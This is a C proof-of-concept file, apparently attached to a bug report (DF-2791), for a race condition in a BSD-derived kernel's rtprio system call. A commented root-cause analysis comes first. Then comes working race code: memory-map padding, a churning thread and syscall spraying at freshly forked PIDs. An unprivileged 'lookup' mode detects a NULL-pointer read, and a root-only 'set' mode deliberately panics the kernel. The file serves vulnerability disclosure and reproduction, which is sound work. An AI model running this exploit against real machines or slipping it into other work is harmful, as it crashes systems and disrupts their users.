DF-2791 / rtprio_sidl.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 | /* * DF-2791 PoC โ sys_rtprio() missing FIRST_LWP_IN_PROC(p) NULL check * (sys/kern/kern_resource.c:704). * * Root cause: * A process inside its fork (SIDL) window โ after proc_add_allproc() * (sys/kern/kern_fork.c:491) and before the first lwp is inserted * into p_lwp_tree (sys/kern/kern_fork.c:848, inside lwp_fork2) โ is * visible to pfind(), which only skips SZOMB procs * (sys/kern/kern_proc.c:524). During that window sys_rtprio() * evaluates FIRST_LWP_IN_PROC(p) == NULL and, with no NULL check: * * RTP_LOOKUP (kern_resource.c:707): copyout(&lp->lwp_rtprio, ...) * -> kernel read from &((struct lwp *)0)->lwp_rtprio (~0x1xx). * copyout runs under pcb_onfault so the fault is converted * to EFAULT (sys/platform/pc64/x86_64/trap.c:985-995). * * RTP_SET (kern_resource.c:748): lp->lwp_rtprio = rtp; * -> a RAW kernel-mode WRITE to ~0x1xx with pcb_onfault == NULL * -> "Fatal user address access from kernel mode" * -> trap_fatal() -> PANIC * (privileged only; unpriv is stopped earlier at * kern_resource.c:718-723, hence severity Low). * * fork1 holds p2->p_token across the window, but LWKT drops ALL of a * thread's tokens whenever it deschedules (lwkt_relalltokens, * sys/kern/lwkt_token.c:539-558). The window contains vm_fork(), and * vmspace_fork() must acquire the parent's vm_map token; a sibling * thread churning mmap/munmap on the same address space makes the * forking thread BLOCK on that token mid-window, dropping p2->p_token * for the duration. Another CPU's rtprio() then acquires p->p_token, * sees the still-empty lwp tree, and dereferences NULL. * * Usage: * ./rtprio_sidl lookup # unpriv race -> EFAULT (NULL deref seen) * ./rtprio_sidl set # (root) same race with RTP_SET -> panic * * "lookup" success: >=1 rtprio(RTP_LOOKUP) == -1/EFAULT with a valid * user pointer (can only come from the NULL-source kernel read). * "set" success: kernel panic "Fatal user address access from kernel * mode" on the serial console. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/rtprio.h> #include <sys/syscall.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <time.h> #include <signal.h> struct ring { volatile int frontier; /* last completed child pid from forker */ volatile int stop; }; static struct ring *ring; #define NENTRIES 20000 /* vm_map entries to widen vm_fork() */ #define SPRAY_AHEAD 3 /* pids ahead of frontier to spray */ static void make_entries(void) { unsigned long base = 0x100000000UL; size_t i; for (i = 0; i < NENTRIES; i++) { void *p = mmap((void *)(base + i * 0x2000UL), 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0); if (p == MAP_FAILED) break; } } static void reap(void) { while (waitpid(-1, NULL, WNOHANG) > 0) ; } /* * Sibling thread: churn the parent's vm_map so that vm_fork()'s * vm_map-token acquisition inside the fork window blocks. */ static void * churn(void *arg __unused) { for (;;) { void *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (p != MAP_FAILED) munmap(p, 0x1000); else usleep(100); } return (NULL); } static void forker(void) { pthread_t tid; int pid; make_entries(); pthread_create(&tid, NULL, churn, NULL); while (!ring->stop) { pid = fork(); if (pid == 0) _exit(0); /* child: die immediately */ if (pid < 0) { if (errno == EAGAIN) { reap(); usleep(200); continue; } fprintf(stderr, "fork: %s\n", strerror(errno)); break; } ring->frontier = pid; reap(); } ring->stop = 1; _exit(0); } int main(int argc, char **argv) { struct rtprio rt; int mode_set = 0; int efault = 0, esrch = 0, ok = 0, other = 0, eperm = 0; time_t t0, t_now; int pid; long n; int budget = 120; if (argc < 2) { fprintf(stderr, "usage: %s lookup|set\n", argv[0]); return 2; } if (!strcmp(argv[1], "set")) mode_set = 1; ring = mmap(NULL, sizeof(*ring), PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0); if (ring == MAP_FAILED) { perror("mmap ring"); return 1; } ring->frontier = 0; ring->stop = 0; pid = fork(); if (pid == 0) forker(); /* parent = sprayer */ memset(&rt, 0, sizeof(rt)); rt.type = RTP_PRIO_NORMAL; rt.prio = 0; t0 = time(NULL); n = 0; while (!ring->stop) { int base = ring->frontier; int d, r; if (base == 0) continue; for (d = 1; d <= SPRAY_AHEAD; d++) { if (mode_set) r = syscall(166, RTP_SET, base + d, &rt); else r = syscall(166, RTP_LOOKUP, base + d, &rt); n++; if (r == 0) ok++; else if (errno == EFAULT) { efault++; if (!mode_set) fprintf(stderr, "[hit] pid %d EFAULT after %ld " "syscalls (NULL lwp deref inside " "copyout)\n", base + d, n); } else if (errno == ESRCH) esrch++; else if (errno == EPERM) eperm++; else other++; } if (!mode_set && efault >= 3) break; t_now = time(NULL); if (t_now - t0 > budget) { fprintf(stderr, "sprayer: timeout\n"); break; } } ring->stop = 1; kill(pid, SIGKILL); waitpid(pid, NULL, 0); reap(); printf("mode=%s syscalls=%ld ok=%d EFAULT=%d ESRCH=%d EPERM=%d " "other=%d\n", mode_set ? "set" : "lookup", n, ok, efault, esrch, eperm, other); if (!mode_set) { if (efault > 0) { printf("REPRODUCED: rtprio(RTP_LOOKUP) hit the SIDL " "zero-lwp window (EFAULT from NULL-source " "read)\n"); return 0; } printf("NOT reproduced within budget\n"); return 1; } return 0; } |